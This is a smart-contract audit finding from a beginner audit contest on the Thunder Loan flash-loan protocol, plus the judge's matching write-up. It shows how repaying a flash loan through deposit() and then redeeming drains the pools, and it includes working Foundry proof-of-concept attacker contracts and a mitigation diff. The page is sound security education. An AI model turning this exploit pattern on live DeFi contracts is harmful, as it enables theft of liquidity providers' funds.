Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Users can drain the protocol pools by calling the `ThunderLoan::deposit` function instead of calling `ThunderLoan::repay` or directly sending the tokens back to the asset token contract when they take out flash loans.

The `ThunderLoan` contract allows borrowers to call the `deposit` function to cover the owed tokens. The `ThunderLoan::flashloan` function only checks the starting and the ending statement of the balance of an underlying token against being greater than or equal to the `initial balance + the estimated fees`. However, it does not take in account the fact that the borrowed funds can be deposited back to the contract via `deposit` function, and the check will succeed. It allows a hacker to call the redeem function immediately after the flash loan processed, severely violating the protocol intended behavior.

IMPACT:

Liquidity providers can lose all the funds they deposited, and the protocol will be destroyed.

Proof of Concept

1. An attacker deploys a malicious contarct `DepositOverRepay` and sends it the needed fee;
2. They execute a flash loan with the designated amount of tokens, where the receiver is the newly deployed contract;
1. The `executeOperation` in the `dor` deposits all the borrowed funds back to the `ThunderLoan`;
2. The verification of fund repayment within the `flashloan` is successful;
3. Now, the `DepositOverRepay` contract has the stolen funds.
3. An attacker immediately calls `stealFunds` within the `dor` instance which triggers the `redeem` function on `ThunderLoan`,
which in turn sends the underlying asset to the hacker.
​
The test below demonstrates the execution flow that allows a hacker to drain the funds:
​
```javascript
function testDepositInsteadOfRepayToStealFunds()
public
setAllowedToken
hasDeposits
{
uint256 amountToBorrow = 100e18;
vm.startPrank(user);
DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
uint256 feeNeeded = thunderLoan.getCalculatedFee(
tokenA,
amountToBorrow
);
tokenA.mint(address(dor), feeNeeded);
thunderLoan.flashloan(
address(dor),
IERC20(tokenA),
amountToBorrow,
hex""
);
dor.stealFunds();
assertGt(
IERC20(tokenA).balanceOf(address(dor)),
amountToBorrow + feeNeeded
);
vm.stopPrank();
}
​
contract DepositOverRepay is IFlashLoanReceiver {
ThunderLoan thunderLoan;
address public tokenA;
​
constructor(address _thunderLoan) {
thunderLoan = ThunderLoan(_thunderLoan);
}
​
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address /*initiator*/,
bytes calldata /*params*/
) external returns (bool) {
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee);
tokenA = token;
return true;
}
​
function stealFunds() public {
AssetToken assetToken = thunderLoan.getAssetFromToken(IERC20(tokenA));
IERC20(address(assetToken)).approve(
address(thunderLoan),
type(uint256).max
);
thunderLoan.redeem(IERC20(tokenA), type(uint256).max);
}
}
```

Recommended Mitigation:

Consider disallowing multiple loans of the same token if it's currently flashloaning, and enforce repayments to be processed via the `ThunderLoan::repay` function.
​
1. Change the repayment verification and change the `currently flashloaning` pattern:
1. Add a mapping called `s_tokenToAmountOwed` which will keep track of tokens and their respective amounts that
are currently in progress;
2. Each time a flash loan is taken, assign the borrowed amount and its estimated fees to a token;
2. Add the check against the value of a token a borrower is going to loan being 0, at the beginning of the `flashloan` function;
If it's not equal to zero - revert with the `ThunderLoan__IsCurrentlyFlashLoaning` error;
3. At the ending of the `flashloan` function after a `functionCall` is finished, query the ending statement of the `s_tokenToAmountOwed` mapping, and if it is not zero - revert with the `ThunderLoan__LoanNotCovered(amountOwed)`;
4. The only way to change the owed amount of a specific token inside the `s_tokenToAmountOwed` maping to zero is enforicing repayments to be processed only via `ThunderLoan::repay` function. The `repay` will check the amount a user is willing to repay to be grater than or equal to the `amountOwed`. If it is, it will process the transaction, if not - revert with the `ThunderLoan__NotEnoughTokensToRepay` error.
5. Additionally, we don't need the `s_currentlyFlashLoaning` mapping any longer, every check related to current loans are handled via `s_tokenToAmountOwed` mapping.
​
​
Inside the `ThunderLoan.sol` / `ThunderLoanUpgraded.sol` files:
​
```diff
/*//////////////////////////////////////////////////////////////
STATE VARIABLES
//////////////////////////////////////////////////////////////*/
.
.
.
- mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
+ mapping(IERC20 token => uint256 amountOwed) public s_tokenToAmountOwed;
.
.
.
/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
.
.
.
- error ThunderLoan__NotPaidBack(uint256 expectedEndingBalance, uint256 endingBalance);
+ error ThunderLoan__LoanNotCovered(uint256 amountOwed);
+ error ThunderLoan__NotEnoughTokensToRepay(uint256 amountOwed,uint256 amount);
+ error ThunderLoan__IsCurrentlyFlashLoaning();
.
.
.
function flashloan(
address receiverAddress,
IERC20 token,
uint256 amount,
bytes calldata params
)
external
revertIfZero(amount)
revertIfNotAllowedToken(token)
{
+ if (s_tokenToAmountOwed[token] != 0) {
+ revert ThunderLoan__IsCurrentlyFlashLoaning();
+ }
​
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
​
if (amount > startingBalance) {
revert ThunderLoan__NotEnoughTokenBalance(startingBalance, amount);
}
​
if (receiverAddress.code.length == 0) {
revert ThunderLoan__CallerIsNotContract();
}
​
uint256 fee = getCalculatedFee(token, amount);
// keeps track of the loaned funds of a specific token
+ s_tokenToAmountOwed[token] = amount + fee;
emit FlashLoan(receiverAddress, token, amount, fee, params);
// slither-disable-next-line reentrancy-vulnerabilities-2 reentrancy-vulnerabilities-3
assetToken.updateExchangeRate(fee);
​
​
- s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
// slither-disable-next-line unused-return reentrancy-vulnerabilities-2
receiverAddress.functionCall(
abi.encodeCall(
IFlashLoanReceiver.executeOperation,
(
address(token),
amount,
fee,
msg.sender, // initiator
params
)
)
);
​
+ uint256 amountOwed = s_tokenToAmountOwed[token];
+ if (amountOwed != 0) {
+ revert ThunderLoan__LoanNotCovered(amountOwed);
+ }
​
- uint256 endingBalance = token.balanceOf(address(assetToken));
- if (endingBalance < startingBalance + fee) {
- revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
- }
- s_currentlyFlashLoaning[token] = false;
}
​
function repay(IERC20 token, uint256 amount) public {
- if (!s_currentlyFlashLoaning[token]) {
- revert ThunderLoan__NotCurrentlyFlashLoaning();
- }
​
+ uint256 amountOwed = s_tokenToAmountOwed[token];
+ if (amountOwed == 0) {
+ revert ThunderLoan__NotCurrentlyFlashLoaning();
+ }
+ if (amount < amountOwed) {
+ revert ThunderLoan__NotEnoughTokensToRepay(amountOwed, amount);
+ }
​
AssetToken assetToken = s_tokenToAssetToken[token];
+ s_tokenToAmountOwed[token] = 0;
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
.
.
.
function isCurrentlyFlashLoaning(IERC20 token) public view returns (bool) {
- return s_currentlyFlashLoaning[token];
+ return s_tokenToAmountOwed[token] > 0;
}
```
​
Additionally, it will reduce some attack vectors related to multiple flashloans from `ThunderLoan` of the same token within one single transaction, but won't protect against other ways to manipulate oracle prices.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!